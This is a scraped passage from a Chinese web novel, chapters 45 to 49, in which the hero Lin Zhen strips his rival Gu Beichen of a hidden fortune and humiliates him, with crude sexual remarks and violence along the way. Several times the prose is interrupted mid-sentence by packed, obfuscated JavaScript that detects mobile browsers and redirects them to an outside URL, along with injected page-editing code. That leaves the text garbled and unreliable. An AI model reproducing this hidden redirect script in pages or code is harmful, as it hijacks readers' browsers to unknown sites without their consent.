银子应该都搬得差不多了, 再有两个时辰顾家也该上门被打脸了,这么好的场景可得叫上小伙伴一起。 “家里交给你,我先出去了。” 浣碧如愿以偿,自然乖巧点头:“世子放心,奴婢会照顾好家里的。” “嗯。” 顾府,小翠正站在顾北辰的面前。 “你说什么?书瑶要见我?” 小翠泪眼婆娑地点头道:“嗯!小姐昨天又挨了林臻的打,后来又被赶到偏房里睡。呜呜呜,顾少,您快去救救她吧。” 顾北辰很纠结。 如果没有人提起刘书瑶,他肯定不会再去想这件事,全心全意对付林臻。 但眼下小翠来了,说出刘书瑶的情况,这又让他的心跟着动摇起来。 昨天他才被林臻吓得尿裤子,幸好当时没人看见,偷偷跑回家里洗了澡,今天还要去见她吗? 万一又被林臻看到怎么办? 顾北辰的纠结被小翠看在眼里,她再次添油加醋地说了林臻的很多恶行,但顾北辰还是没有动作,直到她说:“小姐昨晚在床榻上,喊的可是您的名字!您不能不去呀!” “书瑶喊我的名字?” 书瑶这么爱我吗? 连跟别人行房的时候,心里想的都是我? “是呀!要不是因为这个,林臻也不会打得那么狠。” “书瑶,我这就来救你!” 为了能偷一次,顾北辰也是拼了,跟在小翠身后就奔林家而去。 却不知道,后门的小厮早已经把小翠出门的消息告诉了浣碧。 那里正有几双眼睛盯着他们。 第45章 哥哥心里有话要对你说 “放我出去!” 刘书瑶被关在厢房里拍着门板大喊:“好歹我也是当家主母 浣碧和晴雯蹲在门口嗑瓜子。 她们今天的任务就是不让刘书瑶出去而且不能给饭吃。 不管她在房间里怎么骂两个小丫头全当没听见。 “碧儿姐你知道世子为什么突然要把夫人关起来吗?”晴雯卡姿兰大眼睛里全都是吃瓜的好奇一边嗑瓜子一边问。 浣碧翻了个白眼把瓜子皮收拢到荷包里漫不经心地道:“昨天夜里夫人喊了顾北辰的名字。” “啊?”晴雯的嘴巴张得老大:“在行房的时候喊别的男人?” “对啊所以世子才下令把她关起来的。” “真是不要脸!都已经是有夫之妇了竟然还想着别的男人败坏家风!要我说世子就该把她逐出家门!” 浣碧阴阳怪气地笑道:“把夫人逐出家门然后把你娶进来?” “哎呀姐姐~”晴雯扭扭捏捏地把脸瞥向别处:“不跟你说了呢。” “小妮子别以为我不知道你安的什么心!世子现在和以前不一样了想稀里糊涂的当小妾门都没有。” 这时看守后门的小厮跑过来浣碧抬眼看去正是三蹦子。 “浣碧姐姐!” 浣碧点头道:“嗯你不好好看门来院里做什么?” “姐姐顾北辰来了就在后门呢。” “啊?”浣碧情不自禁地看了看紧闭的房门:“他可有说来干什么?” 三蹦子摇摇头:“没有小的见他过来就赶紧来报告了。” “知道了你从小路回去继续盯着他千万别让人看见你。” “是!” 三蹦子答应一声又跑开。 几乎是前后脚小翠从月亮门方向进来。 刚才她兴奋地去卧房里找刘书瑶找了一圈没找到最后一打听才知道刘书瑶被关起来了。 这可怎么办呐! 北辰还在后门等着她呢啊! 小翠看了看浣碧和晴雯那张戏谑的脸咬了咬下唇一声姐姐喊得很不情愿。 “浣碧姐姐.” 浣碧似笑非笑地问道:“可是在找夫人?” “是妹妹有事要找夫人。” 浣碧竖起大拇指指了指身后的房门:“世子有令要关夫人一整天期间任何人都不能见她也不能送东西吃所以你还是 回去吧。” “这那妹妹可以和夫人说句话吗?” “可以。” 浣碧让出一个身位,小翠思虑再三还是走过去,对着房门喊道:“小姐。” “大胆!”晴雯当即就不乐意了:“这是王府,你应该喊少夫人!” “.少夫人,我们怎么办呀!” 刘书瑶都快疯了。 她现在满心思念,急迫地想要见到顾北辰,以诉衷肠。 但想想自己的境遇和刘家目前遭受的苦难,她又不得不把这份思念压在心里。 刘书瑶尽量用极小的声音说道:“小翠,你去告诉顾郎,就说虎贲营进城了,我今天有事情不能出去了。” “知道了少夫人。” 小翠答应一声便离开院子再次奔向后门。 刘书瑶仿佛被抽空了力气,靠在门上缓缓蹲下去,泪流满面:“顾郎.我对不起你.” 后门,顾北辰坐在对面的茶摊上望着林府几乎是望眼欲穿。 越是想见就越见不到,明明双方都情意绵绵却没办法上床体验鱼水之欢。 这种感觉就好比你费了很大劲才谈成的小三,明明都已经同意跟你上床了,但你们俩就是被人盯着没机会! 这对一个男人来说是最抓狂最折磨的事情。 如果顾北辰真的能和刘书瑶体验一次爱情,他也就不会这么沉迷,可以全身心的对付林臻。 三蹦子在后门装模作样的打盹,小翠走过来对她腻味的喊道:“三哥~” “小翠!”三蹦子惊喜的喊道,眼神不自觉的瞟向她胸前两只小白兔。 小翠强忍着不适,内心已经把三蹦子全家都骂了个遍。 小小看门狗也敢觊觎自己! 我的胸可是北辰独享,岂是能给你看的! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789178|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >小翠微微侧身:“三哥,我有点事情得出去,还请你保密哦。” “放心吧,我保证谁也不说,但是,你什么时候回来啊?哥哥心里有话要对你说!” 三蹦子佯装要拉她的手,小翠赶紧跳开,强颜欢笑道:“很很快就回来的!你等我哦!” “好,嘿嘿嘿,哥哥等你哦!” 小翠转身狠狠翻个了白眼,然后出门而去。 同时三蹦子也换了副表情,刚才的谄媚与猥琐全然不见,只有浓郁的戏谑之色。 小翠走出来,顾北辰连忙起身。 “小翠!” “顾顾少。” “书瑶呢?” 小翠演技也是一 流,当顾北辰提起刘书瑶的时候泪眼婆娑,梨花带雨,一张绣花手绢挡住红唇:“呜呜呜,小姐他被林臻关起来了!还说一天不许吃饭!” “什么!?” “顾少,呜呜呜,我们怎么办呀,您想想办法” 顾北辰可不是傻子,如果就这么冒冒失失的冲进去救刘书瑶,那无异于找死。 届时林家和顾云霆都不会放过他,就连慕容嫣也不会轻易原谅他。 “没办法,只有暂时委屈书瑶了。”顾北辰愤恨地咬牙:“林臻你竟敢如此对待我的女人!今天我非你哭!” 想到自己即将看到林臻吃屎的表情,顾北辰稍有缓解。 转眼望向一身粉红长裙的小翠,突然觉得这妮子出落得也很水灵,颇有刘书瑶的气质。 如果勾搭不上刘书瑶,和她试试貌似也不错? 顾北辰问道:“小翠,你今天有事儿吗?” “没事呀,怎么了.” “那我带你去看个好玩的怎么样?” “什么好玩的?”小翠擦了擦眼泪,有些期待。 顾北辰露出一个耐人寻味的微笑:“林臻总是欺负你们,这回让你也看看林臻被欺负是什么样子的!” “好呀好呀!” “走。” 能看到林臻出丑,小翠很是兴奋,迫不及待地就和顾北辰上了马车。 第46章 上回尿裤子,这回把你吓窜稀! 林臻到赌场的时候虎贲营将士已经将所有银子都搬到了隔壁医馆的后院。 墙也被重新垒好从外观上根本看不出来任何破绽。 林臻不禁有些感慨。 到底是虎狼之师啊上百吨的宝物一夜之间就搬完了这要是五百个自己估计得搬半个月。 张俪为此彻夜未睡直到盯着所有宝物都搬过去这才勉强回房间休息。 此时林臻正坐在院子里怡然自得地品茶曹雄从医馆那边翻墙进来落地的瞬间腿都打哆嗦。 他战战兢兢地来到林臻面前说道:“世子.咋这老多钱啊?王爷知道吗?” “当然不知道!你切记千万不能告诉他老人家否则我们都没戏唱了。” “唱戏?世子要干什么?” “别问只要你一心一意跟着我我是不会亏待你们的。” 说着话林臻从怀里掏出一个大银锭这是他从隔壁院子里视察的时候顺手揣的瞧那样子足足有十两! 这可是曹雄大半年的军饷啊! 他赶紧双手接住却一副欲言又止的样子:“多谢世子.可是昨天干活的还有咱五百弟兄呢!您.” “回头我会让俪儿给昨天搬银子的兄弟们每人五两银子你大可放心。” “多谢世子!哈哈哈以后咱老曹一定尽心尽力为世子办事干就完了!” 两人在后院闲聊没注意到有一辆华贵的马车停在了赌场门口。 马车装饰得非常豪华车身以稀有的紫檀木打造木质纹理如行云流水且在阳光下泛着幽深而尊贵的紫芒。 车身镶嵌着各色宝石红宝石如血蓝宝石似海祖母绿宛如春日新叶这些宝石或大或小错落有致地排列着。 对于顾北辰来说这只是辆普普通通的马车但对于普通人而言这是十辈子都奋斗不来的财富。 周围不管是百姓还是商贾都自动离马车远远的站在街边投来羡慕的目光。 小翠撩起窗帘探出个小脑袋立刻有百姓对她指指点点。 “这是谁的豪门大小姐啊?” “这马车好像是顾家的!难怪这么奢华!” “那个女子的命真好我这辈子怎么就坐不上这样的马车呢!” “好羡慕她啊能成为顾家的座上宾!” 小翠感受到他们的目光骄傲的像只白天鹅 同时也更加坚定了留在顾北辰身边的心。 只要有他在自己就 是这个世界上最幸福的女人! 今后必须守身如玉万万不能便宜了林臻那个穷屌丝!至于看门的三蹦子她再敢看自己的胸就挖出他的眼睛! 哼! 我可是顾府的少奶奶! 顾北辰还不知道小翠这么多的想法他选了个视野还不错的地方让车夫停车随即自己跳下来对她说道:“小翠你就坐马车里等下看好戏。” “顾少奴婢突然想起一件事。” “你说。” “虎贲营突然进城了小姐怀疑城里有什么大事要发生。” 顾北辰自信一笑这消息他昨天晚上就知道了。 “我早就知道他们是来跟龙骧营换防的没事。你就好好在车上坐着看我怎么手撕林臻!” “知道了顾郎” 听到这个称呼顾北辰露出一丝霸气的笑容。 老子就是这么优秀人见人爱;不像林臻长了一副欠揍的脸人见人烦。 “乖~” 一声乖险些把小翠的骨头喊酥了羞涩的躲回马车里。 顾北辰走到赌场门口回头看去就见毛梦极正带着白袍义从徐徐赶来。 这次来的人很多估计有五百人左右都是丞相府的私兵 百姓不由再次指指点点。 “快看是白袍义从!” “他们怎么又来了?” “挨打都不长记性这才几天啊还敢来英雄赌场找茬?” “别说他们了就是顾家少爷亲自来还不是被林家世子吓得尿裤子!” “狗屁的天之骄子!浑身骚味冲天干脆叫天之骚货算了。” 百姓们的话让顾北辰的脸黑得像锅底恨不得把他们舌头都拔下来吃了。 前有白袍义从被兵马司打得哭爹喊娘后有自己当众尿裤子。 诸多耻辱只有用林臻的血才能洗净。 他暗暗攥紧拳头决定今天必须得好好羞辱林臻一番。 毛梦极上次被打得头晕脑涨七窍流血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789179|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这回又是亲自带兵前来只见他走到顾北辰面前说道:“少爷。” “都准备好了?” “少爷放心百辆牛车全部准备完毕!” “嗯随我进门。” 顾北辰推开英雄赌场的大门最先映入眼帘的就是林臻那张欠草的脸。 “算算时间你该来了。”林臻负手而立再次露出一夫当关的霸气。 顾北辰带着几分胜券在握的狞笑:“林臻,今天我要让你哭!” “是么?”林臻不屑的蔑笑,嘴咧的跟八万似的,“一个吓尿裤子的手下败将也敢如此嚣张,就不怕今天被我吓窜稀吗?” “住口!林臻,你也算大乾顶级豪门,说话怎么如此下作?难不成都是林震仙教你的?” “你才住口,顾北辰,林震仙三个字也是你能叫的?你个乱伦的畜生,还不跪下认错!” 在后世,大家都认为乱伦就是指亲属间的不正当关系。 其实古代人讲究三纲五常,即君为臣纲,父为子纲,夫为妻纲。以此来标定伦理关系。 一个人如果以下犯上,比方说臣子冲撞了皇帝,儿子顶撞了老子,妻子反对丈夫,那就是乱了伦理。 所以林臻用这句含沙射影的话来恶心顾北辰,是一点毛病也没有。 顾北辰不经意间就吃了个暗亏,有些不爽地道:“好个伶牙俐齿,本少爷今天不和你争辩。我是来搬东西的。” “我若不让你搬呢?” “林臻,你别给脸不要脸!正午来赌场搬东西是你亲口向陛下允诺的,难道你想反悔不成!?” “我可没说要反悔,只是,你想搬什么啊?” 见林臻态度软了下来,顾北辰毫无顾忌地哈哈大笑。 他认为,这一场是他赢了。 “哈哈哈哈,那怎么能告诉你呢?”顾北辰挥挥手,白袍义从数百人冲进赌场,同时有小厮仆役将牛车准备好。 顾北辰来到林臻面前,用鼻子碰鼻子的距离说道:“林臻,我今天一定要让你跪下求我!” 看顾北辰胜券在握的样子,林臻就觉得好笑。 宝贝,你还不知道吧? 你的宝物早就是我的了! 第47章 合欢散的后遗症是恋脚? 林臻撇撇嘴一副不相信的样子说道:“不见的吧?” 这个表情让顾北辰十分不爽。 他已经彻底失去耐心必须现在就打林臻的脸否则他一定会抓狂的。 “南山交给你了。”随着话音落下从他身后走出一个人。 此人三角眼蛤蟆嘴鹰钩鼻子罗圈腿偏偏又瘦得很离谱。 光是这副长相就足以吓哭未成年少女。 这个人林臻从没见过但他的大名可是如雷贯耳! 南山。 顾南山! 原书中为顾北辰扫清一些障碍的大管家、老供奉也是位绝顶聪明 死在他手里的好人没有一千也有八百。 而且都是个体满门抄斩的不算! 林臻每次在书中看到这个人的时候就觉得有些不寒而栗。 因为他太聪明了又为成大事不拘小节完全湮灭人性。 在林家灭亡顾家独大之后所有反对顾北辰改革计划的官员、大臣包括百姓、商贾都被他一一弄死而且做事滴水不漏证据齐全就算慕容嫣都没办法插手。 当然慕容嫣不插手还有一个原因那就是她已经被顾北辰插手了。 在原书最后顾南山想学司马懿窃权霸占顾家江山结果被顾北辰发现而斩首。 整本书几百万字他就只失手过这一次。 而且还是因为顾北辰的主角光环否则以他的能力一定会成功。 林臻很庆幸自己是个穿越过来知道后续剧情的挂B。 否则以他在学校学的那点政治手段根本不是顾南山的对手。 不过话又说回来不管是顾北辰还是顾南山日后都会是林臻的手下败将刀下亡魂。 顾南山的身形有些佝偻但一双三角眼精光绽放死死盯着林臻随即走过来阴凄凄地笑道:“呵呵呵呵世子老奴这厢有礼了。” 林臻不会像喜欢贾诩一样喜欢顾南山甚至对他很厌恶。 这个人根本就没有任何底线可言。如果说阻挡他成功的人是他母亲他也会毫不犹豫地下手。 类似这样的人必须得找个机会弄死否则就是祸患。 林臻冷笑道:“呵顾南山你少在我面前摆这副姿态你以为你赢定了吗?” “呵呵呵呵老奴从来就没输过。”顾南山笑得像只西伯利亚大马猴看得林臻浑身起鸡皮疙瘩也不知道这样的人是怎么在顾府当管家的。 说好的古人都以貌取人呢? 顾北辰同样狂妄大笑:“哈哈哈哈。 “林臻,你只是个游手好闲的纨绔而已。上层博弈,家族底蕴,庙堂争斗这些不是你能玩明白的,就像这间赌场 顾北辰与电视剧的主角一般无二。 在大堂里背着手,神气兮兮地来回踱步,好像一切尽在掌握的样子,边走边说。 “你根本就不知道这间赌场意味着什么,也不知道赌场里到底藏着哪些秘密!井底之蛙,一夜蜉蝣,还妄想与我顾家作对,呵呵呵呵林臻,你根本就不配。 只见顾北辰转过身,继续装逼道:“等我把东西全部搬走,这赌场就剩一个空壳子了,即便送给你也无妨,毕竟你林家可是大乾出了名的穷鬼,有份产业在手里也不至于饿死。 “哦~~对了,摄政王好像不喜欢跟商贾合作呢,到时候你自己去跟他解释哦~ 此时的顾北辰在林臻眼中与跳梁小丑无异,他轻蔑地笑了笑说道:“噗呵呵呵,顾北辰,其实有时候我真觉得你挺可怜的。 “哼,不见棺材不掉泪。南山,搬!见林臻还是一副云淡风轻的样子,顾北辰实在忍不住了,“我倒要看看,等会儿你会不会哭出来! 顾南山一声令下:“随我来! 数百名白袍义从立刻跟着他向仓库涌去。 这时,张俪从楼上下来,她睡眼惺忪,头发简单地扎起,看起来慵懒又随意,淡蓝色纱裙将洁白的绣花鞋挡住,随着步伐忽隐忽现,端得风情万种。 听到脚步声,林臻与顾北辰几乎是同时回头看去。 林臻带着淡淡笑意,目光里全都是欣赏之色。 而顾北辰则是眼放精光,带着审视的态度上下打量。 以前还真没发现这娘们如此耐看。 精致的下颚,纤细的腰肢,圆润的美鬓。 尤其是她那双小脚,紧紧包裹在鞋子里,看起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789180|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尺寸不大,鲜嫩可口。胸脯也鼓鼓胀胀地吸人眼球,尤其是那高傲的天鹅颈,如果能埋进去吸上一口. 不对! 顾北辰立刻收回目光,暗暗有些自责。 自己这是怎么了? 以前从不正眼看的女人,今天怎么突然冒出这么多奇怪想法? 难道说是合欢散的后遗症? 让自己对那些倒贴的女人不屑一顾,对别人的女人痴迷沉沦? 刘书瑶如此,小翠如此,今天的张俪也是如此。 顾北辰深深吸了口气,把躁 动的心安静下来,站在原地冷眼观瞧。 不得不说,此人意志力还是很强的。 张俪缓步来到林臻面前盈盈下拜,态度谦卑,礼仪得体。 “世子。” 抬头的瞬间,好看的大眼睛里都是戏谑之色。 林臻心照不宣地笑道:“俪儿,睡得可还好?” “回世子,甚好。” “嗯,我让人熬了安神醒脑的药,等下要趁热喝。” “嘻嘻,多谢世子!” 两人你侬我侬的样子让顾北辰暗暗有些不爽。 张俪分明是自己的女人! 阴差阳错竟然被林臻抢走了。 等日后扳倒林家,我顾北辰一定要让你们都跪下来求我! 林臻牵起张俪的手喊道:“老曹!” “哎!” 曹雄从通往后门的走廊里跳出来。 当他跳出来的瞬间,顾北辰眼珠子瞪得老大! 是虎贲营?! 他们不是进城和龙骧营换防的吗? 怎么会在赌场里? 是贪玩,还是另有乾坤? 顾北辰大脑飞速运转,想了半天也没有想出个合适的理由。 不对,虎贲营绝对有猫腻! 他不由得眼皮直跳,一股不好的预感涌上心头,他看了看依旧气定神闲的林臻和娇笑含羞的张俪,最终飞奔向仓库。 曹雄来到林臻面前说道:“世子。” 林臻点头:“嗯,叫弟兄们都出来吧,防止顾北辰狗急跳墙。” 第48章 为什么会这样?钱呢!!?? 曹雄骂道:“吹牛逼!我就不相信那Beyond敢把您咋的! 张俪闻言,捂着嘴痴痴笑道:“咯咯咯,曹将军,这兔子急了还咬人呢,更何况是属狗的人。 林臻现在就是曹雄眼中无所不能的神,只见他瞪着眼睛骂道:“他顾北辰就是属狗B的,也不敢动我家世子一下! “行了行了,堂堂校尉满嘴脏话,成何体统?赶紧把人都带出来,随我去看热闹。 “是。 曹雄走了,很快五百虎贲营将士从四面八方走进赌场。 他们个个顶盔戴甲,凶神恶煞。 林臻带着张俪,两人每往仓库走一步,他们就跟进一步。 气势如虹犹如黑帮子弟,让人望而生畏。 仓库里,顾南山熟练地打开机关,走进黑漆漆的地窖中。 用火折子点亮火把,光芒照射的瞬间他突然瞪大双眼, “咕咚.他咽了口唾沫,用很大的力气从喉咙深处挤出两个字:“钱呢!???? 尖锐的声音在地窖里回荡。 还没跑到仓库的顾北辰听到这声音,浑身都炸了毛! 他拧着剑眉推开人群走进地窖。 就看到家徒四壁,空空如也! 连只老鼠都没有! 只有那个佝偻的管家站在原地! “啊!??? “为什么会这样?钱呢!!?? 顾南山几乎是瞬间就反应过来。 肯定是林臻提前知道了地下钱庄的事情,已经派人搬走了! 完了。 这下顾家可输惨了! 如果说酒楼后院的财宝是顾家的零花钱。 那地下钱庄就是顾家的全部身家! 现在,什么都没有了!!! 顾北辰抓住顾南山的脖领,张得血盆大口唾骂道:“顾南山!你告诉我为什么会这样!你不是说钱还在吗?你不是说谁都不知道吗?钱呢!钱呢!! “少爷,我.我们来晚了,钱肯定让林臻给搬走了! “林臻怎么会知道钱庄的事情!!? “我也不知道啊. 顾北辰放开他,再次思考起事情的始末。 “钱庄是顾家的绝密,非核心人员不可能知道,而每次出钱的时候又是你亲自动手 顾北辰用吃人的目光看着顾南山:“老东西,莫非你吃里扒外!? 顾南山吓得当即就跪了下去:“少爷!老奴冤枉啊!老奴多年为 家族尽心尽力,从没出过差错! 顾北辰也只是想试探他一下,并非真的责怪。 假若内鬼是顾南山的话,这批财宝早就丢了,不可能等到今天。 难道说林臻真的从别的地方打听了钱庄的事情? 这怎么可能呢? 顾南山突然想起什么,抬起头道:“少爷,应该是张俪! “张俪?他一个掌柜怎么会知道钱庄的事情? “张俪每天都在赌场里,机缘巧合之下发现钱庄也并不奇怪。如果顾家真的有内鬼的话,那就一定是她! “张俪.1顾北辰咬牙吼道:“你个臭婊子!!老子一定要弄死你!! 此时,暗门之外,林臻倚墙而立。 嘴角勾起一抹淡然的微笑,轻咳两声。 声音虽轻,却恰到好处地打破了室内的紧绷氛围:“咳咳,顾北辰,好歹你也是四九城里的顶级纨绔,这么在背后骂一位女子,怕是不好吧? “林臻.顾北辰猛然回头就看到林臻那张讥讽蔑笑的脸。 刹那间,一股热浪自他胸膛汹涌而出,直冲脑门,将理智瞬间冲垮。 地下钱庄不仅是顾家的隐秘王国,更是支撑起整个家族荣耀与辉煌的坚固基石,是三代人精心构筑的经济长城。 而今都因为林臻而化为乌有。 他如何不怒? “我今天非杀了你!! “来人! “在! “取林臻性命者,赏千金,封万户侯! “是! “少爷不可啊!林臻绝不能死,否则顾家会遭灭顶之灾的! 重赏之下必有勇夫,那些白袍义从们听到千金,万户侯这样的封赏,当即就红了眼睛。 我管你林臻能不能死?反正你死了我就有钱了! 只见他们一个个如洪水猛兽般,疯狂朝林臻扑来。 而顾北辰却根本没有阻止。 他当然知道林臻不能死,但他就是咽不下这口气! 想起刘书瑶,想起尿裤子,想起百万家产和这几天遭受的一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789181|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他就恨不得将林臻撕成碎片! 而林臻依旧靠在墙壁上,神色淡然若水带着几分轻蔑。 就连他身边的张俪也同样镇定自若,眼眸中不见丝毫惧色。丝毫没有害怕,同他一起,站在原地。 就在第一个白袍义从要接近林臻的时候,曹雄从侧面蹦出来,一脚将他踹飞出去。 “砰! “妈了 个巴子的,谁敢打我家世子?” “虎贲营听令!凡闹事者,杀无赦!” “是!” 言罢走廊两侧的虎贲营将士立刻冲出来,六面坚不可摧的盾牌交织成密不透风的防护网,将林臻和张俪护在后面。 而其余将士则张弓搭箭,箭尖闪烁着冷冽寒光,齐刷刷地对准了地窖内的白袍义从。 就连顾北辰和顾南山也在威胁之中。 这下谁也不敢乱动了。 空气在这一刻凝固,连呼吸都显得有些多余。 虎贲营这帮人可不是善男信女,杀人就和杀鸡似的。 当年铁门关鏖战,他们曾以八百之众面对蛮蒙十万铁骑,不仅未曾退缩半步,反而以血肉之躯筑成铜墙铁壁,坚守十日之久。 和这样的队伍作战,无异于以卵击石! 顾北辰凝视着虎贲营将士,他声嘶力竭,喉咙几欲撕裂,仅余的一声怒啸划破长空:“林臻——!” 这一瞬,顾北辰心中的所有迷雾都仿佛被吹散,真相如刺刀般刺插入他的心房。 原来一切都在林臻的掌握之中,而自己就像个还没过河的小卒,被他玩弄于股掌之间。 虎贲营在赌场的真正原因就是为了保护他,谨防自己狗急跳墙! 他那么气定神闲,不担心自己搬东西,就是因为他已经把宝贝都搬走了! 想起自己刚刚还牛逼哄哄地对他大放厥词,原来人家早就已经准备看好戏了。 悲哀与耻辱瞬间涌上心头,巨大的挫败感让顾北辰的声音都低了几分。 他独孤地站在原地,像是自言自语:“林臻,我承认我以前小看你了!没想到你竟伪装得这么好,让所有人都以为你是个不学无术的纨绔,原来你一切表现都是为了针对我顾家!” “当真是好算计,好心思啊!” “顾兄过奖了~” 第49章 啊?世子...您这是要... 顾北辰看着林臻那副阳光灿烂的表情恨不得将他撕成碎片! 他把后槽牙咬得嘎吱吱脆响:“林臻.” “少爷!”顾南山拽住他的衣袖:“现在不是意气用事的时候我们得想办法把银子追回来否则顾家会有灭顶之灾的!” “不就是些银钱吗?为何会有灭顶之灾?” “少爷我们失去的远远不是几百万两银钱这么简单而是被林臻抓住一个巨大的把柄!他可以利用这些钱买通我们的官员甚至霸占收购我们的产业切断我们的生机让我们入不敷出!最可怕的是如果他孤注一掷把钱给了陛下顾家就彻底完蛋了!” “那可是整个大乾一年的税收!陛下绝不会轻易放过顾家!” 顾北辰感觉天旋地转 这笔钱是顾家最大的底气更是整个家族的命脉所在。 如今就这么没了。 没了还不是最要紧的最要紧的是这笔钱竟然在最大的政治对手林臻手里! 接下来怎么办?顾家该何去何从?又该如何翻盘? 顾家到底是怎么走到这一步的? 为什么啊! 为什么总是林臻在赢? 我顾北辰难道就不能赢一次吗? “少爷眼下我们没有别的办法只有让林臻把钱吐出来!” 顾北辰反问道:“你觉得他会吐出来吗?” “就算不会我们也要试一试这是我们最后的机会!” “怎么试?你让我去求他?” “少爷此一时彼一时啊!如果能换回数百万两的银钱脸面又算得了什么呢!恳请少爷以大局为重!” 顾北辰看向林臻。 黑暗与烛火的交织下他的脸带着几分得意的笑看起来是那么欠揍。 明明是个不学无术的纨绔明明是个花天酒地的贵公子。 放在以前这样的人连做自己对手的资格都没有。 现如今自己却在他面前屡屡碰壁颜面扫地。 现在还要自己放下尊严去求他!!! 不我才是天之骄子。 我才是这世界的主宰! 你林臻终究只是个上不得台面的垃圾! 你根本就不配让我求! “林臻!!你堂堂摄政王之子竟做盗贼之事就不知道羞耻吗?” “少爷啊”顾南山无奈地拍了拍自己脑门! 怎么会有这样的人呢? 顾云霆如此 你也如此! 为了家族,为成大事,连一点尊严都放不下!日后怎成大器? 唉,看来这顾家是指望不上了,自己得早做准备,否则有朝一日非被他们坑死不可。 林臻听了顾北辰的话,有些疑惑的说道:“哦? “呵,我还以为你会来求我呢。 顾北辰从牙缝里喷出三个字:“你配么。 “这样吧,看在你我两家交好的份儿上给你个机会。只要你现在跪下,给我磕三个头,我就给你钱。 “少爷!顾南山拉了拉顾北辰的衣袖,“这可是最好的机会,您别犹豫了! 顾北辰攥起双拳,满眼血丝地瞪着林臻:“你说的,可是真的? “当然是真的,我林臻向来说一不二。 张俪担心林臻真的会把钱还给他们,那昨晚不就白折腾了么?再说这可是对付顾家最好的把柄,不能放弃啊。 “世子. 林臻轻轻握住张俪的手,神色笃定地说道:“相信我。 “可是. “顾北辰,我最后再问你一遍,跪还不跪! 顾北辰的指甲都要嵌入手掌心了,他一步一步向林臻走来,就像一只随时都会爆发的猛兽。 “林臻. “我一定会杀了你!一定会的! 言罢顾北辰已经来到近前,双膝一软。 噗通。 咚。 头磕在地上。 肉体的疼痛远远没有心灵来得更难受。 咚。 又是一声。 顾北辰额头已经见血。 白袍义从看到这一幕,都微微有些动容,恨不得现在就和虎贲营拼了。 其中一名有着浓重胡须的壮汉,在顾北辰身后大喝一声! “少爷! “奶奶的,你们竟敢如此羞辱我家少爷,我跟你们拼了! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789182|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“咻! “噗! 随着他的动作,一支利箭破空而出,正中他的胸口! 顾北辰回头看去,顿时彪出两行血泪:“大金!! “少爷.别.别跪大金躺在了血泊之中,还不忘提醒顾北辰。 “啊!!顾北辰嘶吼,“林臻,你为什么要杀他? “我说过,乱动者死! “我一定会杀了你!我一定要杀你全家给大金报仇!! 林臻撇撇嘴:“你还是先把最后一下磕完再说吧。 “噗咯咯咯~”张俪没忍住直接笑出声来。 同时虎贲营的人也哈哈大笑。 “哈哈哈哈,想要钱就赶紧把头磕完!” “磕完了再说报仇的事情也不迟!” “什么狗屁天之骄子,除了哇哇叫以外还能干什么?” 面对顾北辰的恐吓与威胁,林臻却只是轻描淡写地让他继续磕头。 孰强孰弱,高下立判! 顾南山担心顾北辰放弃,赶紧跑过来,扶住他颤抖的肩膀说道:“少爷,好汉不吃眼前亏,还是先把钱要回来,至于大金,我们后面再报仇也不迟!” “林臻小犬,我一定会让你付出代价!” 连顾南山都有些看不下去了:“是是是,您可别重复这句话了,赶紧磕完赶紧起来吧!” 咚。 顾北辰最后一次把头磕在地上,然后迅速起身。 林臻观察到,他依旧昂着头颅,无上骄傲。 “林臻,告诉我钱在哪?” 